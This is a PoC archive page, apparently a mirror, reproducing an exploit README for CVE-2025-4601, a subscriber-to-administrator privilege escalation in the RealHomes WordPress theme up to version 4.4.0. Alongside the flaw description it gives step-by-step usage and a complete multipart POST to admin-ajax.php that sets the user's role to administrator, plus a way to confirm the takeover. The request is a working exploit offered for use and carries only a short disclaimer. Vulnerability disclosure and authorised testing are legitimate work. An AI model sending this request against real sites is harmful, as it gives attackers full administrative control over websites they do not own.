Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1110 CNY

100%

CVE-2025-4601 PoC — RH - Real Estate WordPress Theme <= 4.4.0 - Authenticated (Subscriber+) Privilege Escalation

Source
Associated Vulnerability
Title:RH - Real Estate WordPress Theme <= 4.4.0 - Authenticated (Subscriber+) Privilege Escalation (CVE-2025-4601)
Description:The "RH - Real Estate WordPress Theme" theme for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.4.0. This is due to the theme not properly restricting user roles that can be updated as part of the inspiry_update_profile() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to set their role to that of an administrator. The vulnerability was partially patched in version 4.4.0, and fully patched in version 4.4.1.
Description
RH - Real Estate WordPress Theme <= 4.4.0 - Authenticated (Subscriber+) Privilege Escalation
Readme
# CVE-2025-4601 - WordPress RealHomes Theme <= 4.4.0 - Privilege Escalation

🔥 **Vulnerability Summary**
The WordPress theme RealHomes versions <= 4.4.0 is vulnerable to a **privilege escalation vulnerability**. This allows authenticated users with low privileges (such as subscribers) to escalate their roles to administrators. This vulnerability occurs through the `inspiry_update_profile` function, which improperly allows users to change their role if the `ere_allow_users_change_role` option is enabled.

This issue can be exploited by submitting a specially crafted POST request to the `admin-ajax.php` endpoint, providing the `realhomes_user_role` parameter set to `administrator`.

🔍 **Affected Theme**
- **Theme Name:** RealHomes
- **Affected Version:** <= 4.4.0
- **Vulnerability Type:** Privilege Escalation
- **CVE ID:** CVE-2025-4601
- **CVSS Score:** 8.8 (Critical)
- **Impact:** Full Administrative Access → Potential Site Compromise

🧪 **Exploit Features**
- 📥 **Fetches nonce** automatically from the target page.
- 🔐 **Escalates user role** to `administrator` via the `realhomes_user_role` parameter.
- 🌐 **No authentication required** beyond being logged in as a low-privileged user (e.g., subscriber).
- 💾 **Updates user profile**, granting administrative access to the attacker.

🧠 **Researcher**
- Credit: [Thai An](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/thai-an-thai-an)

🚀 **Usage**
1. **Login to the target website** as a low-privileged user (e.g., subscriber).
2. Access the `/wp-admin/admin-ajax.php` endpoint with the following POST data, which includes the `realhomes_user_role` set to `administrator`:

   ```http
   POST /wp-admin/admin-ajax.php HTTP/2
   Host: targetsite.com
   Cookie: wordpress_logged_in_xxx=...
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr

   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="first-name"
   test
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="last-name"
   user
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="realhomes_user_role"
   administrator
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="action"
   inspiry_update_profile
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
   ```

3. **Check the response**: If the request is successful, the attacker will gain administrative access.
4. **Verify by accessing the `/wp-admin/`** page to confirm if the attacker has been granted admin privileges.

🔒 **Disclaimer:**
This is intended for educational purposes only and should only be used on systems you own or are explicitly authorized to test. Misuse of this code may lead to legal consequences.
File Snapshot

[4.0K] /data/pocs/b765893cf3eeddb40613eadd0877f052146f2304 └── [2.7K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →